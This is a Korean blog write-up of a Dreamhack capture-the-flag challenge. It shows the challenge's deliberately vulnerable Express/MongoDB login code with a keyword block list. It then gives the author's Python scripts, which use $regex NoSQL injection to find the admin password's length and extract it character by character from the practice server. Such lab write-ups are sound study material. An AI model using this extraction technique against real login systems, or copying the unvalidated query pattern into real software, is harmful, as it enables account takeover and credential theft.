먼저 문제 설명을 통해 본 문제는 데이터베이스에 저장된 admin 계정의 비밀번호에서 플래그를 획득할 수 있는 문제이다.
문제 사이트에 접속하면 위와 같은 화면을 볼 수 있다.
문제 접속하자마자 보이는 login 요청 파라미터를 URL 뒤에 붙여서 접속해보았다.
접속하니 guest라는 문구가 출력되면서 guest로 로그인 됨을 알 수 있다.
혹시나 admin으로도 로그인이 가능한지 테스트해보기 위해 uid와 pw를 모두 admin으로 변경해보았더니 filter라는 문구가 나온다. 이를 통해 admin 계정은 필터링이 걸려있음을 알 수 있다.
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
소스코드를 확인해보면 'admin', 'dh', 'admin'이 필터링 문자열로 들어가 있는 것을 볼 수 있다. 클라이언트 요청 값에서 해당 문자열들을 필터링 하고, uid와 upw를 충족시키는 user를 조회하고 있음을 알 수 있다.
MangoDB의 경우 쿼리 사용 시, 정규표현식을 활용할 수 있기 때문에 이를 활용하여 admin 계정을 조회할 수 있다. 계정은 admin 5글자이고 패스워드는 DH{} 형태이다.
이때, 정확한 패스워드 길이를 알아야 하기 때문에 아래 파이썬 코드를 사용하여 비밀번호의 길이는 36글자임을 알 수 있었다. 문제 힌트를 통해서도 'DH{32alphanumeric}' 즉, 32글자의 알파벳과 숫자로 구성되어 있음을 알 수 있다.
import requests
for i in range(50):
response=requests.get("http://host3.dreamhack.games:17539/login?uid[$regex]=.{5}&upw[$regex]=.{"+str(i)+"}")
print("PW 길이:"+str(i)+", 결과:"+str(response.content))
앞서 알아낸 사실들을 바탕으로 아래와 같이 비밀번호를 찾기 위한 파이썬 익스플로잇 코드를 작성할 수 있다.
import requests
import string
list=['0','1','2','3','4','5','6','7','8','9']+list(string.ascii_lowercase)+list(string.ascii_uppercase);
url="http://host3.dreamhack.games:17539/login?uid[$regex]=.{5}&upw[$regex]=";
passwd=".{2}{"
for i in range(32):
for j in range(len(list)):
response=requests.get(url+passwd+list[j]+".{"+str(32-i)+"}")
if 'admin' in response.text:
passwd+=list[j]
break;
print(passwd+"}")
그러면 아래와 같은 값을 볼 수 있는데 아래 값의 형식을 플래그 값의 형식으로 반영하여 제출하면 문제를 해결할 수 있다.
'CTF • WarGame > Web Hacking' 카테고리의 다른 글
[Dreamhack] CSS Injection (0) | 2024.11.20 |
---|---|
[Dreamhack] chocoshop wirte-up (0) | 2024.11.13 |
[Dreamhack] CSP Bypass Advanced wirte-up (3) | 2024.11.06 |
[Dreamhack] XSS Filtering Bypass Advanced wirte-up (1) | 2024.10.30 |
[Dreamhack] blind-command write-up (0) | 2024.10.02 |